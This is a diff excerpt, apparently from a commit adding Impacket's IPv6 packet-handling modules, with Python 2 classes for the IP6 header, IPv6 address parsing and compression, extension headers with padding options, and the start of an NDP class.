curr_flags = self.get_flags()
|
||||
if flag_value:
|
||||
curr_flags |= 0x0020
|
||||
else:
|
||||
curr_flags &= ~0x0020
|
||||
self.set_flags(curr_flags)
|
||||
|
||||
def set_node_information_data(self, data):
|
||||
payload_bytes = self.child().get_bytes()
|
||||
payload_bytes[12:] = array.array('B', data)
|
||||
self.child().set_bytes(payload_bytes)
|
||||
|
||||
def get_note_information_data(self):
|
||||
return self.child().get_bytes()[12:]
|
||||
|
||||
############################################################################
|
||||
def get_echo_id(self):
|
||||
return self.child().get_word(0)
|
||||
|
||||
def get_echo_sequence_number(self):
|
||||
return self.child().get_word(2)
|
||||
|
||||
def get_echo_arbitrary_data(self):
|
||||
return self.child().get_bytes()[4:]
|
||||
|
||||
def get_mtu(self):
|
||||
return self.child().get_long(0)
|
||||
|
||||
def get_parm_problem_pointer(self):
|
||||
return self.child().get_long(0)
|
||||
|
||||
def get_originating_packet_data(self):
|
||||
return self.child().get_bytes()[4:]
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
|
||||
import struct
|
||||
import array
|
||||
|
||||
from ImpactPacket import Header
|
||||
from IP6_Address import IP6_Address
|
||||
from IP6_Extension_Headers import IP6_Extension_Header
|
||||
|
||||
from impacket import LOG
|
||||
|
||||
|
||||
class IP6(Header):
|
||||
#Ethertype value for IPv6
|
||||
ethertype = 0x86DD
|
||||
HEADER_SIZE = 40
|
||||
IP_PROTOCOL_VERSION = 6
|
||||
|
||||
def __init__(self, buffer = None):
|
||||
Header.__init__(self, IP6.HEADER_SIZE)
|
||||
self.set_ip_v(IP6.IP_PROTOCOL_VERSION)
|
||||
if (buffer):
|
||||
self.load_header(buffer)
|
||||
|
||||
def contains(self, aHeader):
|
||||
Header.contains(self, aHeader)
|
||||
if isinstance(aHeader, IP6_Extension_Header):
|
||||
self.set_next_header(aHeader.get_header_type())
|
||||
|
||||
def get_header_size(self):
|
||||
return IP6.HEADER_SIZE
|
||||
|
||||
def __str__(self):
|
||||
protocol_version = self.get_ip_v()
|
||||
traffic_class = self.get_traffic_class()
|
||||
flow_label = self.get_flow_label()
|
||||
payload_length = self.get_payload_length()
|
||||
next_header = self.get_next_header()
|
||||
hop_limit = self.get_hop_limit()
|
||||
source_address = self.get_ip_src()
|
||||
destination_address = self.get_ip_dst()
|
||||
|
||||
s = "Protocol version: " + str(protocol_version) + "\n"
|
||||
s += "Traffic class: " + str(traffic_class) + "\n"
|
||||
s += "Flow label: " + str(flow_label) + "\n"
|
||||
s += "Payload length: " + str(payload_length) + "\n"
|
||||
s += "Next header: " + str(next_header) + "\n"
|
||||
s += "Hop limit: " + str(hop_limit) + "\n"
|
||||
s += "Source address: " + source_address.as_string() + "\n"
|
||||
s += "Destination address: " + destination_address.as_string() + "\n"
|
||||
return s
|
||||
|
||||
def get_pseudo_header(self):
|
||||
source_address = self.get_ip_src().as_bytes()
|
||||
#FIXME - Handle Routing header special case
|
||||
destination_address = self.get_ip_dst().as_bytes()
|
||||
reserved_bytes = [ 0x00, 0x00, 0x00 ]
|
||||
|
||||
upper_layer_packet_length = self.get_payload_length()
|
||||
upper_layer_protocol_number = self.get_next_header()
|
||||
|
||||
next_header = self.child()
|
||||
while isinstance(next_header, IP6_Extension_Header):
|
||||
# The length used in the pseudo-header is the Payload Length from the IPv6 header, minus
|
||||
# the length of any extension headers present between the IPv6 header and the upper-layer header
|
||||
upper_layer_packet_length -= next_header.get_header_size()
|
||||
|
||||
# If there are extension headers, fetch the correct upper-player protocol number by traversing the list
|
||||
upper_layer_protocol_number = next_header.get_next_header()
|
||||
|
||||
next_header = next_header.child()
|
||||
|
||||
pseudo_header = array.array('B')
|
||||
pseudo_header.extend(source_address)
|
||||
pseudo_header.extend(destination_address)
|
||||
pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length))
|
||||
pseudo_header.fromlist(reserved_bytes)
|
||||
pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number))
|
||||
return pseudo_header
|
||||
|
||||
############################################################################
|
||||
def get_ip_v(self):
|
||||
return (self.get_byte(0) & 0xF0) >> 4
|
||||
|
||||
def get_traffic_class(self):
|
||||
return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4)
|
||||
|
||||
def get_flow_label(self):
|
||||
return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3)
|
||||
|
||||
def get_payload_length(self):
|
||||
return (self.get_byte(4) << 8) | self.get_byte(5)
|
||||
|
||||
def get_next_header(self):
|
||||
return (self.get_byte(6))
|
||||
|
||||
def get_hop_limit(self):
|
||||
return (self.get_byte(7))
|
||||
|
||||
def get_ip_src(self):
|
||||
address = IP6_Address(self.get_bytes()[8:24])
|
||||
return (address)
|
||||
|
||||
def get_ip_dst(self):
|
||||
address = IP6_Address(self.get_bytes()[24:40])
|
||||
return (address)
|
||||
|
||||
############################################################################
|
||||
def set_ip_v(self, version):
|
||||
if (version != 6):
|
||||
raise Exception('set_ip_v - version != 6')
|
||||
|
||||
#Fetch byte, clear high nibble
|
||||
b = self.get_byte(0) & 0x0F
|
||||
#Store version number in high nibble
|
||||
b |= (version << 4)
|
||||
#Store byte in buffer
|
||||
#This behaviour is repeated in the rest of the methods
|
||||
self.set_byte(0, b)
|
||||
|
||||
|
||||
def set_traffic_class(self, traffic_class):
|
||||
b0 = self.get_byte(0) & 0xF0
|
||||
b1 = self.get_byte(1) & 0x0F
|
||||
b0 |= (traffic_class & 0xF0) >> 4
|
||||
b1 |= (traffic_class & 0x0F) << 4
|
||||
self.set_byte(0, b0)
|
||||
self.set_byte(1, b1)
|
||||
|
||||
|
||||
def set_flow_label(self, flow_label):
|
||||
b1 = self.get_byte(1) & 0xF0
|
||||
b1 |= (flow_label & 0xF0000) >> 16
|
||||
self.set_byte(1, b1)
|
||||
self.set_byte(2, (flow_label & 0x0FF00) >> 8)
|
||||
self.set_byte(3, (flow_label & 0x000FF))
|
||||
|
||||
|
||||
def set_payload_length(self, payload_length):
|
||||
self.set_byte(4, (payload_length & 0xFF00) >> 8)
|
||||
self.set_byte(5, (payload_length & 0x00FF))
|
||||
|
||||
|
||||
def set_next_header(self, next_header):
|
||||
self.set_byte(6, next_header)
|
||||
|
||||
def set_hop_limit(self, hop_limit):
|
||||
self.set_byte(7, hop_limit)
|
||||
|
||||
def set_ip_src(self, source_address):
|
||||
address = IP6_Address(source_address)
|
||||
bytes = self.get_bytes()
|
||||
bytes[8:24] = address.as_bytes()
|
||||
self.set_bytes(bytes)
|
||||
|
||||
def set_ip_dst(self, destination_address):
|
||||
address = IP6_Address(destination_address)
|
||||
bytes = self.get_bytes()
|
||||
bytes[24:40] = address.as_bytes()
|
||||
self.set_bytes(bytes)
|
||||
|
||||
def get_protocol_version(self):
|
||||
LOG.warning('deprecated soon')
|
||||
return self.get_ip_v()
|
||||
|
||||
def get_source_address(self):
|
||||
LOG.warning('deprecated soon')
|
||||
return self.get_ip_src()
|
||||
|
||||
def get_destination_address(self):
|
||||
LOG.warning('deprecated soon')
|
||||
return self.get_ip_dst()
|
||||
|
||||
def set_protocol_version(self, version):
|
||||
LOG.warning('deprecated soon')
|
||||
self.set_ip_v(version)
|
||||
|
||||
def set_source_address(self, source_address):
|
||||
LOG.warning('deprecated soon')
|
||||
self.set_ip_src(source_address)
|
||||
|
||||
def set_destination_address(self, destination_address):
|
||||
LOG.warning('deprecated soon')
|
||||
self.set_ip_dst(destination_address)
|
||||
@@ -0,0 +1,280 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
|
||||
import array
|
||||
|
||||
class IP6_Address():
|
||||
ADDRESS_BYTE_SIZE = 16
|
||||
#A Hex Group is a 16-bit unit of the address
|
||||
TOTAL_HEX_GROUPS = 8
|
||||
HEX_GROUP_SIZE = 4 #Size in characters
|
||||
TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1
|
||||
ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS
|
||||
SEPARATOR = ":"
|
||||
SCOPE_SEPARATOR = "%"
|
||||
|
||||
#############################################################################################################
|
||||
# Constructor and construction helpers
|
||||
|
||||
def __init__(self, address):
|
||||
#The internal representation of an IP6 address is a 16-byte array
|
||||
self.__bytes = array.array('B', '\0' * self.ADDRESS_BYTE_SIZE)
|
||||
self.__scope_id = ""
|
||||
|
||||
#Invoke a constructor based on the type of the argument
|
||||
if type(address) is str or type(address) is unicode:
|
||||
self.__from_string(address)
|
||||
else:
|
||||
self.__from_bytes(address)
|
||||
|
||||
|
||||
def __from_string(self, address):
|
||||
#Separate the Scope ID, if present
|
||||
if self.__is_a_scoped_address(address):
|
||||
split_parts = address.split(self.SCOPE_SEPARATOR)
|
||||
address = split_parts[0]
|
||||
if (split_parts[1] == ""):
|
||||
raise Exception("Empty scope ID")
|
||||
self.__scope_id = split_parts[1]
|
||||
|
||||
#Expand address if it's in compressed form
|
||||
if self.__is_address_in_compressed_form(address):
|
||||
address = self.__expand_compressed_address(address)
|
||||
|
||||
#Insert leading zeroes where needed
|
||||
address = self.__insert_leading_zeroes(address)
|
||||
|
||||
#Sanity check
|
||||
if len(address) != self.ADDRESS_TEXT_SIZE:
|
||||
raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE))
|
||||
|
||||
#Split address into hex groups
|
||||
hex_groups = address.split(self.SEPARATOR)
|
||||
if len(hex_groups) != self.TOTAL_HEX_GROUPS:
|
||||
raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS))
|
||||
|
||||
#For each hex group, convert it into integer words
|
||||
offset = 0
|
||||
for group in hex_groups:
|
||||
if len(group) != self.HEX_GROUP_SIZE:
|
||||
raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE))
|
||||
|
||||
group_as_int = int(group, 16)
|
||||
self.__bytes[offset] = (group_as_int & 0xFF00) >> 8
|
||||
self.__bytes[offset + 1] = (group_as_int & 0x00FF)
|
||||
offset += 2
|
||||
|
||||
def __from_bytes(self, bytes):
|
||||
if len(bytes) != self.ADDRESS_BYTE_SIZE:
|
||||
raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE))
|
||||
self.__bytes = bytes
|
||||
|
||||
#############################################################################################################
|
||||
# Projectors
|
||||
def as_string(self, compress_address = True, scoped_address = True):
|
||||
s = ""
|
||||
for i, v in enumerate(self.__bytes):
|
||||
s += hex(v)[2:].rjust(2, '0')
|
||||
if (i % 2 == 1):
|
||||
s += self.SEPARATOR
|
||||
s = s[:-1].upper()
|
||||
|
||||
if (compress_address):
|
||||
s = self.__trim_leading_zeroes(s)
|
||||
s = self.__trim_longest_zero_chain(s)
|
||||
|
||||
if (scoped_address and self.get_scope_id() != ""):
|
||||
s += self.SCOPE_SEPARATOR + self.__scope_id
|
||||
return s
|
||||
|
||||
def as_bytes(self):
|
||||
return self.__bytes
|
||||
|
||||
def __str__(self):
|
||||
return self.as_string()
|
||||
|
||||
def get_scope_id(self):
|
||||
return self.__scope_id
|
||||
|
||||
def get_unscoped_address(self):
|
||||
return self.as_string(True, False) #Compressed address = True, Scoped address = False
|
||||
|
||||
#############################################################################################################
|
||||
# Semantic helpers
|
||||
def is_multicast(self):
|
||||
return self.__bytes[0] == 0xFF
|
||||
|
||||
def is_unicast(self):
|
||||
return self.__bytes[0] == 0xFE
|
||||
|
||||
def is_link_local_unicast(self):
|
||||
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80)
|
||||
|
||||
def is_site_local_unicast(self):
|
||||
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0)
|
||||
|
||||
def is_unique_local_unicast(self):
|
||||
return (self.__bytes[0] == 0xFD)
|
||||
|
||||
|
||||
def get_human_readable_address_type(self):
|
||||
if (self.is_multicast()):
|
||||
return "multicast"
|
||||
elif (self.is_unicast()):
|
||||
if (self.is_link_local_unicast()):
|
||||
return "link-local unicast"
|
||||
elif (self.is_site_local_unicast()):
|
||||
return "site-local unicast"
|
||||
else:
|
||||
return "unicast"
|
||||
elif (self.is_unique_local_unicast()):
|
||||
return "unique-local unicast"
|
||||
else:
|
||||
return "unknown type"
|
||||
|
||||
#############################################################################################################
|
||||
#Expansion helpers
|
||||
|
||||
#Predicate - returns whether an address is in compressed form
|
||||
def __is_address_in_compressed_form(self, address):
|
||||
#Sanity check - triple colon detection (not detected by searches of double colon)
|
||||
if address.count(self.SEPARATOR * 3) > 0:
|
||||
raise Exception('IP6_Address - found triple colon')
|
||||
|
||||
#Count the double colon marker
|
||||
compression_marker_count = self.__count_compression_marker(address)
|
||||
if compression_marker_count == 0:
|
||||
return False
|
||||
elif compression_marker_count == 1:
|
||||
return True
|
||||
else:
|
||||
raise Exception('IP6_Address - more than one compression marker (\"::\") found')
|
||||
|
||||
#Returns how many hex groups are present, in a compressed address
|
||||
def __count_compressed_groups(self, address):
|
||||
trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":"
|
||||
return trimmed_address.count(self.SEPARATOR) + 1
|
||||
|
||||
#Counts how many compression markers are present
|
||||
def __count_compression_marker(self, address):
|
||||
return address.count(self.SEPARATOR * 2) #Count occurrences of "::"
|
||||
|
||||
#Inserts leading zeroes in every hex group
|
||||
def __insert_leading_zeroes(self, address):
|
||||
hex_groups = address.split(self.SEPARATOR)
|
||||
|
||||
new_address = ""
|
||||
for hex_group in hex_groups:
|
||||
if len(hex_group) < 4:
|
||||
hex_group = hex_group.rjust(4, "0")
|
||||
new_address += hex_group + self.SEPARATOR
|
||||
|
||||
return new_address[:-1] #Trim the last colon
|
||||
|
||||
|
||||
#Expands a compressed address
|
||||
def __expand_compressed_address(self, address):
|
||||
group_count = self.__count_compressed_groups(address)
|
||||
groups_to_insert = self.TOTAL_HEX_GROUPS - group_count
|
||||
|
||||
pos = address.find(self.SEPARATOR * 2) + 1
|
||||
while (groups_to_insert):
|
||||
address = address[:pos] + "0000" + self.SEPARATOR + address[pos:]
|
||||
pos += 5
|
||||
groups_to_insert -= 1
|
||||
|
||||
#Replace the compression marker with a single colon
|
||||
address = address.replace(self.SEPARATOR * 2, self.SEPARATOR)
|
||||
return address
|
||||
|
||||
|
||||
#############################################################################################################
|
||||
#Compression helpers
|
||||
|
||||
def __trim_longest_zero_chain(self, address):
|
||||
chain_size = 8
|
||||
|
||||
while (chain_size > 0):
|
||||
groups = address.split(self.SEPARATOR)
|
||||
start_index = -1
|
||||
end_index = -1
|
||||
|
||||
for index, group in enumerate(groups):
|
||||
#Find the first zero
|
||||
if (group == "0"):
|
||||
start_index = index
|
||||
end_index = index
|
||||
#Find the end of this chain of zeroes
|
||||
while (end_index < 7 and groups[end_index + 1] == "0"):
|
||||
end_index += 1
|
||||
|
||||
#If the zero chain matches the current size, trim it
|
||||
found_size = end_index - start_index + 1
|
||||
if (found_size == chain_size):
|
||||
address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):])
|
||||
return address
|
||||
|
||||
#No chain of this size found, try with a lower size
|
||||
chain_size -= 1
|
||||
return address
|
||||
|
||||
|
||||
#Trims all leading zeroes from every hex group
|
||||
def __trim_leading_zeroes(self, str):
|
||||
groups = str.split(self.SEPARATOR)
|
||||
str = ""
|
||||
|
||||
for group in groups:
|
||||
group = group.lstrip("0") + self.SEPARATOR
|
||||
if (group == self.SEPARATOR):
|
||||
group = "0" + self.SEPARATOR
|
||||
str += group
|
||||
return str[:-1]
|
||||
|
||||
|
||||
#############################################################################################################
|
||||
@classmethod
|
||||
def is_a_valid_text_representation(cls, text_representation):
|
||||
try:
|
||||
#Capitalize on the constructor's ability to detect invalid text representations of an IP6 address
|
||||
ip6_address = IP6_Address(text_representation)
|
||||
return True
|
||||
except Exception, e:
|
||||
return False
|
||||
|
||||
def __is_a_scoped_address(self, text_representation):
|
||||
return text_representation.count(self.SCOPE_SEPARATOR) == 1
|
||||
|
||||
#############################################################################################################
|
||||
# Informal tests
|
||||
if __name__ == '__main__':
|
||||
print IP6_Address("A:B:C:D:E:F:1:2").as_string()
|
||||
# print IP6_Address("A:B:C:D:E:F:0:2").as_bytes()
|
||||
print IP6_Address("A:B:0:D:E:F:0:2").as_string()
|
||||
# print IP6_Address("A::BC:E:D").as_string(False)
|
||||
print IP6_Address("A::BC:E:D").as_string()
|
||||
print IP6_Address("A::BCD:EFFF:D").as_string()
|
||||
print IP6_Address("FE80:0000:0000:0000:020C:29FF:FE26:E251").as_string()
|
||||
|
||||
# print IP6_Address("A::BCD:EFFF:D").as_bytes()
|
||||
print IP6_Address("::").as_string()
|
||||
print IP6_Address("1::").as_string()
|
||||
print IP6_Address("::2").as_string()
|
||||
# bin = [
|
||||
# 0x01, 0x02, 0x03, 0x04,
|
||||
# 0x01, 0x02, 0x03, 0x04,
|
||||
# 0x01, 0x02, 0x03, 0x04,
|
||||
# 0x01, 0x02, 0x03, 0x04]
|
||||
# a = IP6_Address(bin)
|
||||
# print a.as_string()
|
||||
# print a
|
||||
|
||||
# Malformed addresses
|
||||
# print IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345").as_string()
|
||||
# print IP6_Address(":::").as_string()
|
||||
# print IP6_Address("::::").as_string()
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
import array
|
||||
|
||||
from ImpactPacket import Header, ImpactPacketException, PacketBuffer
|
||||
|
||||
class IP6_Extension_Header(Header):
|
||||
# --------------------------------- - - - - - - -
|
||||
# | Next Header | Header Ext Len | Options
|
||||
# --------------------------------- - - - - - - -
|
||||
|
||||
HEADER_TYPE_VALUE = -1
|
||||
EXTENSION_HEADER_FIELDS_SIZE = 2
|
||||
|
||||
EXTENSION_HEADER_DECODER = None
|
||||
|
||||
def __init__(self, buffer = None):
|
||||
Header.__init__(self, self.get_headers_field_size())
|
||||
self._option_list = []
|
||||
if buffer:
|
||||
self.load_header(buffer)
|
||||
else:
|
||||
self.reset()
|
||||
|
||||
def __str__(self):
|
||||
header_type = self.get_header_type()
|
||||
next_header_value = self.get_next_header()
|
||||
header_ext_length = self.get_header_extension_length()
|
||||
|
||||
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
|
||||
s += "Header Type Value: " + str(header_type) + "\n"
|
||||
s += "Next Header: " + str(next_header_value) + "\n"
|
||||
s += "Header Extension Length: " + str(header_ext_length) + "\n"
|
||||
s += "Options:\n"
|
||||
|
||||
for option in self._option_list:
|
||||
option_str = str(option)
|
||||
option_str = option_str.split('\n')
|
||||
option_str = map(lambda s: (' ' * 4) + s, option_str)
|
||||
s += '\n'.join(option_str) + '\n'
|
||||
|
||||
return s
|
||||
|
||||
def load_header(self, buffer):
|
||||
self.set_bytes_from_string(buffer[:self.get_headers_field_size()])
|
||||
|
||||
remaining_bytes = (self.get_header_extension_length() + 1) * 8
|
||||
remaining_bytes -= self.get_headers_field_size()
|
||||
|
||||
buffer = array.array('B', buffer[self.get_headers_field_size():])
|
||||
if remaining_bytes > len(buffer):
|
||||
raise ImpactPacketException, "Cannot load options from truncated packet"
|
||||
|
||||
while remaining_bytes > 0:
|
||||
option_type = buffer[0]
|
||||
if option_type == Option_PAD1.OPTION_TYPE_VALUE:
|
||||
# Pad1
|
||||
self._option_list.append(Option_PAD1())
|
||||
|
||||
remaining_bytes -= 1
|
||||
buffer = buffer[1:]
|
||||
else:
|
||||
# PadN
|
||||
# From RFC 2460: For N octets of padding, the Opt Data Len
|
||||
# field contains the value N-2, and the Option Data consists
|
||||
# of N-2 zero-valued octets.
|
||||
option_length = buffer[1]
|
||||
option_length += 2
|
||||
|
||||
self._option_list.append(Option_PADN(option_length))
|
||||
|
||||
remaining_bytes -= option_length
|
||||
buffer = buffer[option_length:]
|
||||
|
||||
def reset(self):
|
||||
pass
|
||||
|
||||
@classmethod
|
||||
def get_header_type_value(cls):
|
||||
return cls.HEADER_TYPE_VALUE
|
||||
|
||||
@classmethod
|
||||
def get_extension_headers(cls):
|
||||
header_types = {}
|
||||
for subclass in cls.__subclasses__():
|
||||
subclass_header_types = subclass.get_extension_headers()
|
||||
if not subclass_header_types:
|
||||
# If the subclass did not return anything it means
|
||||
# that it is a leaf subclass, so we take its header
|
||||
# type value
|
||||
header_types[subclass.get_header_type_value()] = subclass
|
||||
else:
|
||||
# Else we extend the list of the obtained types
|
||||
header_types.update(subclass_header_types)
|
||||
return header_types
|
||||
|
||||
@classmethod
|
||||
def get_decoder(cls):
|
||||
raise RuntimeError("Class method %s.get_decoder must be overridden." % cls)
|
||||
|
||||
def get_header_type(self):
|
||||
return self.__class__.get_header_type_value()
|
||||
|
||||
def get_headers_field_size(self):
|
||||
return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE
|
||||
|
||||
def get_header_size(self):
|
||||
header_size = self.get_headers_field_size()
|
||||
for option in self._option_list:
|
||||
header_size += option.get_len()
|
||||
return header_size
|
||||
|
||||
def get_next_header(self):
|
||||
return self.get_byte(0)
|
||||
|
||||
def get_header_extension_length(self):
|
||||
return self.get_byte(1)
|
||||
|
||||
def set_next_header(self, next_header):
|
||||
self.set_byte(0, next_header & 0xFF)
|
||||
|
||||
def set_header_extension_length(self, header_extension_length):
|
||||
self.set_byte(1, header_extension_length & 0xFF)
|
||||
|
||||
def add_option(self, option):
|
||||
self._option_list.append(option)
|
||||
|
||||
def get_options(self):
|
||||
return self._option_list
|
||||
|
||||
def get_packet(self):
|
||||
data = self.get_data_as_string()
|
||||
|
||||
# Update the header length
|
||||
self.set_header_extension_length(self.get_header_size() / 8 - 1)
|
||||
|
||||
# Build the entire extension header packet
|
||||
header_bytes = self.get_buffer_as_string()
|
||||
for option in self._option_list:
|
||||
header_bytes += option.get_buffer_as_string()
|
||||
|
||||
if data:
|
||||
return header_bytes + data
|
||||
else:
|
||||
return header_bytes
|
||||
|
||||
def contains(self, aHeader):
|
||||
Header.contains(self, aHeader)
|
||||
if isinstance(aHeader, IP6_Extension_Header):
|
||||
self.set_next_header(aHeader.get_header_type())
|
||||
|
||||
def get_pseudo_header(self):
|
||||
# The pseudo-header only contains data from the IPv6 header.
|
||||
# So we pass the message to the parent until it reaches it.
|
||||
return self.parent().get_pseudo_header()
|
||||
|
||||
class Extension_Option(PacketBuffer):
|
||||
MAX_OPTION_LEN = 256
|
||||
OPTION_TYPE_VALUE = -1
|
||||
|
||||
def __init__(self, option_type, size):
|
||||
if size > Extension_Option.MAX_OPTION_LEN:
|
||||
raise ImpactPacketException, "Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN)
|
||||
PacketBuffer.__init__(self, size)
|
||||
self.set_option_type(option_type)
|
||||
|
||||
def __str__(self):
|
||||
option_type = self.get_option_type()
|
||||
option_length = self.get_option_length()
|
||||
|
||||
s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n"
|
||||
s += "Option Type: " + str(option_type) + "\n"
|
||||
s += "Option Length: " + str(option_length) + "\n"
|
||||
|
||||
return s
|
||||
|
||||
def set_option_type(self, option_type):
|
||||
self.set_byte(0, option_type)
|
||||
|
||||
def get_option_type(self):
|
||||
return self.get_byte(0)
|
||||
|
||||
def set_option_length(self, length):
|
||||
self.set_byte(1, length)
|
||||
|
||||
def get_option_length(self):
|
||||
return self.get_byte(1)
|
||||
|
||||
def set_data(self, data):
|
||||
self.set_option_length(len(data))
|
||||
option_bytes = self.get_bytes()
|
||||
|
||||
option_bytes = self.get_bytes()
|
||||
option_bytes[2:2+len(data)] = array.array('B', data)
|
||||
self.set_bytes(option_bytes)
|
||||
|
||||
def get_len(self):
|
||||
return len(self.get_bytes())
|
||||
|
||||
class Option_PAD1(Extension_Option):
|
||||
OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460)
|
||||
OPTION_DESCRIPTION = "Pad1 Option"
|
||||
|
||||
def __init__(self):
|
||||
Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1)
|
||||
|
||||
def get_len(self):
|
||||
return 1
|
||||
|
||||
class Option_PADN(Extension_Option):
|
||||
OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460)
|
||||
OPTION_DESCRIPTION = "PadN Option"
|
||||
|
||||
def __init__(self, padding_size):
|
||||
if padding_size < 2:
|
||||
raise ImpactPacketException, "PadN Extension Option must be greater than 2 bytes"
|
||||
|
||||
Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size)
|
||||
self.set_data('\x00' * (padding_size - 2))
|
||||
|
||||
class Basic_Extension_Header(IP6_Extension_Header):
|
||||
MAX_OPTIONS_LEN = 256 * 8
|
||||
MIN_HEADER_LEN = 8
|
||||
MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN
|
||||
|
||||
def __init__(self, buffer = None):
|
||||
self.padded = False
|
||||
IP6_Extension_Header.__init__(self, buffer)
|
||||
|
||||
def reset(self):
|
||||
self.set_next_header(0)
|
||||
self.set_header_extension_length(0)
|
||||
self.add_padding()
|
||||
|
||||
def add_option(self, option):
|
||||
if self.padded:
|
||||
self._option_list.pop()
|
||||
self.padded = False
|
||||
|
||||
IP6_Extension_Header.add_option(self, option)
|
||||
|
||||
self.add_padding()
|
||||
|
||||
def add_padding(self):
|
||||
required_octets = 8 - (self.get_header_size() % 8)
|
||||
if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN:
|
||||
raise Exception("Not enough space for the padding")
|
||||
|
||||
# Insert Pad1 or PadN to fill the necessary octets
|
||||
if 0 < required_octets < 8:
|
||||
if required_octets == 1:
|
||||
self.add_option(Option_PAD1())
|
||||
else:
|
||||
self.add_option(Option_PADN(required_octets))
|
||||
self.padded = True
|
||||
else:
|
||||
self.padded = False
|
||||
|
||||
class Hop_By_Hop(Basic_Extension_Header):
|
||||
HEADER_TYPE_VALUE = 0x00
|
||||
HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options"
|
||||
|
||||
@classmethod
|
||||
def get_decoder(self):
|
||||
import ImpactDecoder
|
||||
return ImpactDecoder.HopByHopDecoder
|
||||
|
||||
class Destination_Options(Basic_Extension_Header):
|
||||
HEADER_TYPE_VALUE = 0x3c
|
||||
HEADER_EXTENSION_DESCRIPTION = "Destination Options"
|
||||
|
||||
@classmethod
|
||||
def get_decoder(self):
|
||||
import ImpactDecoder
|
||||
return ImpactDecoder.DestinationOptionsDecoder
|
||||
|
||||
class Routing_Options(IP6_Extension_Header):
|
||||
HEADER_TYPE_VALUE = 0x2b
|
||||
HEADER_EXTENSION_DESCRIPTION = "Routing Options"
|
||||
ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8
|
||||
|
||||
def reset(self):
|
||||
self.set_next_header(0)
|
||||
self.set_header_extension_length(0)
|
||||
self.set_routing_type(0)
|
||||
self.set_segments_left(0)
|
||||
|
||||
def __str__(self):
|
||||
header_type = self.get_header_type()
|
||||
next_header_value = self.get_next_header()
|
||||
header_ext_length = self.get_header_extension_length()
|
||||
routing_type = self.get_routing_type()
|
||||
segments_left = self.get_segments_left()
|
||||
|
||||
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
|
||||
s += "Header Type Value: " + str(header_type) + "\n"
|
||||
s += "Next Header: " + str(next_header_value) + "\n"
|
||||
s += "Header Extension Length: " + str(header_ext_length) + "\n"
|
||||
s += "Routing Type: " + str(routing_type) + "\n"
|
||||
s += "Segments Left: " + str(segments_left) + "\n"
|
||||
|
||||
return s
|
||||
|
||||
@classmethod
|
||||
def get_decoder(self):
|
||||
import ImpactDecoder
|
||||
return ImpactDecoder.RoutingOptionsDecoder
|
||||
|
||||
def get_headers_field_size(self):
|
||||
return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE
|
||||
|
||||
def set_routing_type(self, routing_type):
|
||||
self.set_byte(2, routing_type)
|
||||
|
||||
def get_routing_type(self):
|
||||
return self.get_byte(2)
|
||||
|
||||
def set_segments_left(self, segments_left):
|
||||
self.set_byte(3, segments_left)
|
||||
|
||||
def get_segments_left(self):
|
||||
return self.get_byte(3)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,166 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
|
||||
import array
|
||||
import struct
|
||||
|
||||
from impacket import ImpactPacket
|
||||
from ICMP6 import ICMP6
|
||||
|
||||
|
||||
class NDP(ICMP6):
|
||||
#ICMP message type numbers
|
||||
ROUTER_SOLICITATION = 133
|
||||
ROUTER_ADVERTISEMENT = 134
|
||||
NEIGHBOR_SOLICITATION = 135
|
||||
NEIGHBOR_ADVERTISEMENT = 136
|
||||
REDIRECT = 137
|
||||
|
||||
############################################################################
|
||||
# Append NDP Option helper
|
||||
|
||||
def append_ndp_option(self, ndp_option):
|
||||
#As NDP inherits ICMP6, it is, in fact an ICMP6 "header"
|
||||
